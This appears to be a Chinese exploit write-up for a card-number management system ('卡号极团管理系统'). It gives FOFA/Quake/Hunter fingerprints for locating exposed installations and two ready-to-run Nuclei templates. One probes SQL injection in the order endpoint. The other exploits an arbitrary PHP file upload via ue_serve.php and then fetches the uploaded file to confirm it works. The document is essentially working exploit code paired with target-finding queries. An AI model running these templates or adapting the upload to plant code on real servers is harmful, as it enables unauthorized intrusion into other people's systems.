卡号极团管理系统
卡号极团管理系统 order 接口存在SQL注入
fofa:icon_hash="-795291075"
quake:favicon: "2663e830c0a3677d97f6debf90ec9e4a"
hunter:web.icon="2663e830c0a3677d97f6debf90ec9e4a"
nuclei
id: haokajituan-sql
info:
name: haokajituan-sql
author: BY
severity: high
tags: haokajituan
http:
- raw:
- |
GET /order/index.php?pid=1' HTTP/1.1
Host: {{Hostname}}
max-redirects: 3
matchers:
- type: word
part: body
words:
- "syntax"
卡号极团管理系统ue_serve.php 存在任意文件上传
fofa:icon_hash="-795291075"
quake:favicon: "2663e830c0a3677d97f6debf90ec9e4a"
hunter:web.icon="2663e830c0a3677d97f6debf90ec9e4a"
nuclei
id: haokajituan-fileupload-ue_serve
info:
name: haokajituan-fileupload-ue_serve
author: BY
severity: critical
description: 卡号极团管理系统ue_serve.php 存在任意文件上传
tags: haokajituan
variables:
boundary: "{{rand_base(6)}}"
filename: "{{rand_base(5)}}"
http:
- raw:
- |
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/2
Host: {{Hostname}}
Cookie: PHPSESSID=ecq4ucplk5n6e3ipihvktl103r
Sec-Ch-Ua: "Not;A=Brand";v="99", "Chromium";v="106"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylkv1kpsZgzw2WC03
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 301
------WebKitFormBoundarylkv1kpsZgzw2WC03
Content-Disposition: form-data; name="name"
{{filename}}.php
------WebKitFormBoundarylkv1kpsZgzw2WC03
Content-Disposition: form-data; name="upfile"; filename="{{filename}}.php"
Content-Type: image/jpeg
<?php echo "{{boundary}}";unlink(__FILE__); ?>
------WebKitFormBoundarylkv1kpsZgzw2WC03--
- |
GET /upload/{{name}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
extractors:
- type: regex
name: name
part: body
internal: true
regex:
- "[A-Za-z0-9]+_[A-Za-z0-9]+.php"
req-condition: true
matchers:
- type: dsl
dsl:
- status_code_1 == 200 && contains(body_2,'{{boundary}}')